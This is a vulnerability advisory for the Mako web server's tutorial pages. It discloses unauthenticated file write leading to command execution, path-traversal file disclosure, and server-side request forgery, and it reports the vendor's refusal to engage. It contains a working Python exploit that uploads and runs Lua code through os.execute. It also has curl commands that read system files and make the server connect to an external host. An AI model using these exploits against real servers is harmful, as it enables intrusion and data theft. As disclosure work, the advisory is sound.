SSD Advisory – Mako Web-server Tutorials Multiple Unauthenticated Vulnerabilities

Vulnerabilities Summary
The following advisory describe three (3) vulnerabilities found in Mako Server’s tutorial page.
The vulnerabilities found are:

  • Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution
  • Unauthenticated File Disclosure
  • Unauthenticated Server Side Request Forgery

As these tutorial may be used as the basis for production code, it is important for users to be aware of these issues.
“As a compact application and web server, the Mako Server helps developers rapidly design secure IoT and web applications. The Mako Server provides an application server environment from which developers can design and implement complete, custom solutions. The Mako Web Server is ideal for embedded Linux systems.”
Credit
An independent security researcher, John Page AKA hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
RealTimeLogic was informed of the vulnerability on Aug 13, but while acknowledging the receipt of the vulnerability information, refused to respond to the technical claims, to give a fix timeline or coordinate an advisory, saying:
“I just sent a formal notification for the commercial license requirement and also we need to put a maintenance contract in place.
Internally I need to set-up a cost allocation account for billing against these support inquiries.”
At this time it’s unclear whether these vulnerabilities are going to be fixed and further attempts to get a status clarification failed.

Vulnerabilities details
Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution
Mako web-server tutorial does not sufficiently sanitizing the HTTP PUT requests, when an attacker send HTTP PUT request to ‘save.lsp‘ web page, the input passed to a function responsible for accessing the filesystem.
The attacker input will be saved on the victims machine and can be execute by sending HTTP GET request to ‘manage.lsp

HTTP PUT  'http://VICTIM-IP/examples/save.lsp?ex=2.1'
HTTP GET  'http://VICTIM-IP/examples/manage.lsp?execute=true&ex=2.1&type=lua'

Proof of Concept

import urllib2,time
#MakoServer v2.5 Remote Command Execution 0day
#Credits: John Page AKA hyp3rlinx
#=========================================
print  'MakoServer v2.5 Remote Command Execution'
CMD="os.execute('c:/Windows/system32/calc.exe')"
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request('http://IP/examples/save.lsp?ex=2.1', data=CMD)
request.add_header('Content-Type', 'text/plain;charset=UTF-8')
request.add_header('X-Requested-With', 'XMLHttpRequest')
request.add_header('Referer', 'http://localhost/Lua-Types.lsp')
request.get_method = lambda: 'PUT'
opener.open(request)
time.sleep(1)
urllib2.urlopen('http://IP/examples/manage.lsp?execute=true&ex=2.1&type=lua')

Unauthenticated File Disclosure
Mako web-server tutorial is not sufficiently sanitizing GET requests, when an attacker send GET request to the URI IP/fs/../.., the input passed without modification and the response with the file content is returned.
Proof of Concept
The following GET request will response with the C/Windows/system.ini content:

curl -v http://VICTIM-IP/fs/C/Windows/system.ini
* About to connect() to VICTIM-IP port 80
*   Trying VICTIM-IP... connected
* Connected to VICTIM-IP (VICTIM-IP) port 80
> GET /fs/C/Windows/system.ini HTTP/1.1
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 07 Aug 2017 22:21:27 GMT
< Server: MakoServer.net
< Content-Type: application/octet-stream
< Accept-Ranges: bytes
< Etag: 58b4be20
< Last-Modified: Tue, 28 Feb 2017 00:02:40 GMT
< Content-Length: 219
< Keep-Alive: Keep-Alive
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]

Server Side Request Forgery
Mako web-server tutorial is not sufficiently sanitizing incoming POST requests, when an attacker sends an POST request to the ‘rtl/appmgr/new-application.lsp‘ URI, the input will be executed and the server will connect to the attacker’s machine.
Proof of Concept
Start Wireshark to see successful connections made from Mako Web Server victim machine.
Initiate requests from another machine using CURL:

curl -v -X POST http://VICTIM-IP/rtl/appmgr/new-application.lsp -d io=net -d path=http://EXTERNAL-IP